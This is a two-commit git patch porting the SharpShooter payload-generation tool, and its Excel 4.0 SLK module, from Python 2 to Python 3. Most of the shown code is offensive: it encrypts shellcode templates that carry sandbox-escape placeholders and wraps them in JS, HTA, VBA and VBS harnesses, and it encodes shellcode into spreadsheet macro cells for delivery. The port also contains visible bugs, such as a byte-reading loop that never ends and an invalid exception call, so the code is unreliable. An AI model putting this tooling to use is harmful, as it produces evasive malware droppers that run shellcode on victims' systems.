From 8422c4978cadda7c8473389ba64c754aef7dab0c Mon Sep 17 00:00:00 2001 From: SYLAR Date: Thu, 4 Mar 2021 20:05:25 -0500 Subject: [PATCH 1/2] Update SharpShooter.py --- SharpShooter.py | 35 ++++++++++++++++++++--------------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/SharpShooter.py b/SharpShooter.py index 9b10de1..c02020e 100644 --- a/SharpShooter.py +++ b/SharpShooter.py @@ -162,12 +162,12 @@ def validate_args(self): return args def read_file(self, f): - with open(f, 'r') as fs: + with open(f, 'rb') as fs: content = fs.read() return content def rand_key(self, n): - return ''.join([random.choice(string.lowercase) for i in xrange(n)]) + return ''.join([random.choice(string.ascii_lowercase) for i in range(n)]) def gzip_str(self, string_): fgz = BytesIO() @@ -182,7 +182,7 @@ def gzip_str(self, string_): return fgz def rc4(self, key, data): - S = range(256) + S = list(range(256)) j = 0 out = [] @@ -323,6 +323,7 @@ def run(self, args): elif(payload_type == 9): file_type = "slk" except Exception as e: + print("\n\033[1;31m[!]\033[0;0m Incorrect choice") sandbox_techniques="" @@ -399,10 +400,12 @@ def run(self, args): break except Exception as e: + print("\n\033[1;31m[!]\033[0;0m Incorrect choice") - template_code = template_body.replace("%SANDBOX_ESCAPES%", sandbox_techniques) - + test = template_body.decode(encoding='utf-8') + + template_code = test.replace("%SANDBOX_ESCAPES%", sandbox_techniques) delivery_method = "1" encoded_sc = "" while True: @@ -444,7 +447,8 @@ def run(self, args): # sc_split = [encoded_sc[i:i+100] for i in range(0, len(encoded_sc), 100)] # for i in sc_split: #else: - template_code = template_code.replace("%SHELLCODE64%", encoded_sc) + test= encoded_sc.decode(encoding='utf-8') + template_code = template_code.replace("%SHELLCODE64%", test) else: refs = args.refs @@ -492,7 +496,8 @@ def run(self, args): break except Exception as e: - print(e) + print(e.print_exc()) + traceback.print_exc() print("\n\033[1;31m[!]\033[0;0m Incorrect choice") sys.exit(-1) @@ -516,36 +521,36 @@ def run(self, args): key = self.rand_key(10) payload_encrypted = self.rc4(key, template_code) - payload_encoded = base64.b64encode(payload_encrypted) + payload_encoded = base64.b64encode(payload_encrypted.encode(encoding='utf-8')) awl_payload_simple = "" if("js" in file_type or args.comtechnique): - harness = self.read_file("templates/harness.js") - payload = harness.replace("%B64PAYLOAD%", payload_encoded) + harness = self.read_file("templates/harness.js").decode(encoding='UTF-8') + payload = harness.replace("%B64PAYLOAD%", payload_encoded.decode(encoding='UTF-8')) payload = payload.replace("%KEY%", "'%s'" % (key)) payload_minified = jsmin(payload) awl_payload_simple = template_code elif("wsf" in file_type): harness = self.read_file("templates/harness.wsf") - payload = harness.replace("%B64PAYLOAD%", payload_encoded) + payload = harness.replace("%B64PAYLOAD%", payload_encoded.decode(encoding='utf-8')) payload = payload.replace("%KEY%", "'%s'" % (key)) payload_minified = jsmin(payload) elif("hta" in file_type): harness = self.read_file("templates/harness.hta") - payload = harness.replace("%B64PAYLOAD%", payload_encoded) + payload = harness.replace("%B64PAYLOAD%", payload_encoded.decode(encoding='utf-8')) payload = payload.replace("%KEY%", "'%s'" % (key)) payload_minified = jsmin(payload) elif("vba" in file_type): harness = self.read_file("templates/harness.vba") - payload = harness.replace("%B64PAYLOAD%", payload_encoded) + payload = harness.replace("%B64PAYLOAD%", payload_encoded.decode(encoding='utf-8')) payload = payload.replace("%KEY%", "\"%s\"" % (key)) payload_minified = jsmin(payload) elif("slk" in file_type): pass else: harness = self.read_file("templates/harness.vbs") - payload = harness.replace("%B64PAYLOAD%", payload_encoded) + payload = harness.replace("%B64PAYLOAD%", payload_encoded.decode(encoding='utf-8')) payload = payload.replace("%KEY%", "\"%s\"" % (key)) if (payload_type == 3): @@ -596,4 +601,4 @@ def run(self, args): if __name__ == "__main__": ss = SharpShooter() args = ss.validate_args() - ss.run(args) \ No newline at end of file + ss.run(args) From 5e598454a25aeeb564b635ecda9f504deee886db Mon Sep 17 00:00:00 2001 From: SYLAR Date: Thu, 4 Mar 2021 20:06:18 -0500 Subject: [PATCH 2/2] Update excel4.py --- modules/excel4.py | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/modules/excel4.py b/modules/excel4.py index 7982917..da7e726 100644 --- a/modules/excel4.py +++ b/modules/excel4.py @@ -32,21 +32,21 @@ def build_shellcode_slk(shellcode_path): slk_output = SHELLCODE_HEADER with open(shellcode_path, "rb") as f: - byte = f.read(1) - i = 0 - cell=0 - while byte != "": - if i == 0: - cell=cell+1 - slk_output+=("C;X2;Y%s;K0;E" % (str(cell))) - else: - slk_output+=("&") - slk_output+=("CHAR(" + str(bytes2int(byte)) + ")") - byte = f.read(1) - i+=1 - if i == 20: - slk_output+=("\n") - i = 0 + byte = f.read(1) + i = 0 + cell=0 + while byte != "": + if i == 0: + cell=cell+1 + slk_output+=("C;X2;Y%s;K0;E" % (str(cell))) + else: + slk_output+=("&") + slk_output+=("CHAR(" + str(bytes2int(byte)) + ")") + byte = f.read(1) + i+=1 + if i == 20: + slk_output+=("\n") + i = 0 cell=cell+1 slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell))) - return slk_output \ No newline at end of file + return slk_output